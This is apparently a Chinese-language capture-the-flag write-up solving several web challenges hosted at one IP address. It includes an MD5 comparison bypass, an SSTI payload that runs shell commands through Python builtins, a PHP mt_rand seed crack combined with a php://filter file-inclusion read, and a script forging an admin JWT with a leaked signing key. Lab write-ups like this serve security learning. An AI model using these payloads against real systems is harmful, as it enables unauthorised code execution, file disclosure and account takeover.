查看题目,提示需要admin进入
查看网页源代码,获取密码
返回登陆,进入后发现url中有MD5字样,猜测此题与MD5有关,再次查看网页源代码
关键信息就在
>
我们不妨猜测此页面可以传入一个hint参数,给他一个hint
http://101.42.30.15:8305/easz_md5.php?hint=1
得到hint,分析php代码,这里需要传入对应参数使得if中的代码执行就能够得到flag
这里为MD5强比较,可以传入a,b两个数组进行绕过
http://101.42.30.15:8305/easz_md5.php?hint=111&a[]=1&b[]=2
preg_match()函数中第一个参数为正则表达式,第二个参数为要进行匹配的字符串
intval()函数为取整函数,对$word进行取整操作 注:intval()对字符串取整时,只取纯数字片段,若字符串开头即为字母或为纯字母和特殊符号组成,则返回0
strrev()为字符串反转函数
示例:
intval("1952NUAA"); //返回值为int(1952)
intval(strrev("1952NUAA")); // 反转后的字符串为"AAUN2591"返回值为int(0)
由此,可以制作payload为: word=1952e-4NUAA
注:intval对小数取整时,只取整数部分,由科学计数法1952e-4即为0.1952,整数部分为0
获得flag的MD5值:
e3b18d2e4f5ad2155921927eb3b1fcfe
这里要拼接$flag与$word进行MD5运算后和$hash比较
只需将获得的flagMD5值传入hash,word传入空值即可
在hackerbar中传入一段cookie
word传入空值
点击Execute即可获得flag
题目已经透露出此为ssti漏洞
先查看一下hint
经过尝试用户名为admin 密码为password
这里输入123,则会回显123
输入{{7*7}} 测试一下这个漏洞
可以看到里面的表达式被执行了
稍微百度一下,再不断测试后,构造一个payload
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}
点击test 获得flag
这里可以直接访问到flag.txt 不知为什么 //目前已修复
正规解法:
分析php代码我们发现这里使用了伪随机数,并且将其与参数Guess进行比较
多次刷新页面发现这里每次运行产生的随机数相同,即使用了固定的种子
从github中下载到mt_rand破解程序
GitHub - openwall/php_mt_seed: PHP mt_rand() seed cracker
开启kali,运行程序,使用得到的数值作为参数进行爆破
可以看到有很多解,选择辨识度最高的5201314
编写php代码,运行得到该种子下的第二个随机数
除此之外还需要构造一个file参数,运用php伪协议来读取flag.php
注:以下代码采用了include,可以尝试运用php伪协议
构造payload
http://101.42.30.15:8307/?Guess=897353138&file=php://filter/read=convert.base64-encode/resource=Asuri/../flag.php
成功得到flag.php base64编码后的结果
解码:
这里登录随便试试
发现admin登录时会提示登录失败,其他用户名则会给hint
打开hackerbar将这个token存入cookie,访问http://101.42.30.15:8306/protected#
这个页面源代码中包含了重要信息
这是一个密钥,这不禁让人联想到token的jwt加密也需要一个密钥
先base64解密一下上面的token
由于jwt头部与payload部分采用base64编码,还是可以解码出关键信息的
从网上获取到一个jwt加密的python脚本,只需要稍作修改,调试即可伪造一份admin的token
import time
import jwt
# payload
token_dict = {
"username":"admin"
}
"""payload 中一些固定参数名称的意义, 同时可以在payload中自定义参数"""
# iss 【issuer】发布者的url地址
# sub 【subject】该JWT所面向的用户,用于处理特定应用,不是常用的字段
# aud 【audience】接受者的url地址
# exp 【expiration】 该jwt销毁的时间;unix时间戳
# nbf 【not before】 该jwt的使用时间不能早于该时间;unix时间戳
# iat 【issued at】 该jwt的发布时间;unix 时间戳
# jti 【JWT ID】 该jwt的唯一ID编号
# headers
headers = {
'alg': "HS256", # 声明所使用的算法
"typ":"JWT"
}
"""headers 中一些固定参数名称的意义"""
# jku: 发送JWK的地址;最好用HTTPS来传输
# jwk: 就是之前说的JWK
# kid: jwk的ID编号
# x5u: 指向一组X509公共证书的URL
# x5c: X509证书链
# x5t:X509证书的SHA-1指纹
# x5t#S256: X509证书的SHA-256指纹
# typ: 在原本未加密的JWT的基础上增加了 JOSE 和 JOSE+ JSON。JOSE序列化后文会说及。适用于JOSE标头的对象与此JWT混合的情况。
# crit: 字符串数组,包含声明的名称,用作实现定义的扩展,必须由 this->JWT的解析器处理。不常见。
# 调用jwt库,生成json web token
jwt_token = jwt.encode(token_dict, # payload, 有效载体
"Lazy_fish_Is_op?", # 进行加密签名的密钥
algorithm="HS256", # 指明签名算法方式, 默认也是HS256
headers=headers # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
).encode('ascii') # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str
print(jwt_token)
运行得到token
更改我们已有的token为自己生成的eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.psKMzcGm6f-EPnoxl8yeMYkmMUsXXXFOTVp0Yw5zl9M
再次访问即可获得flag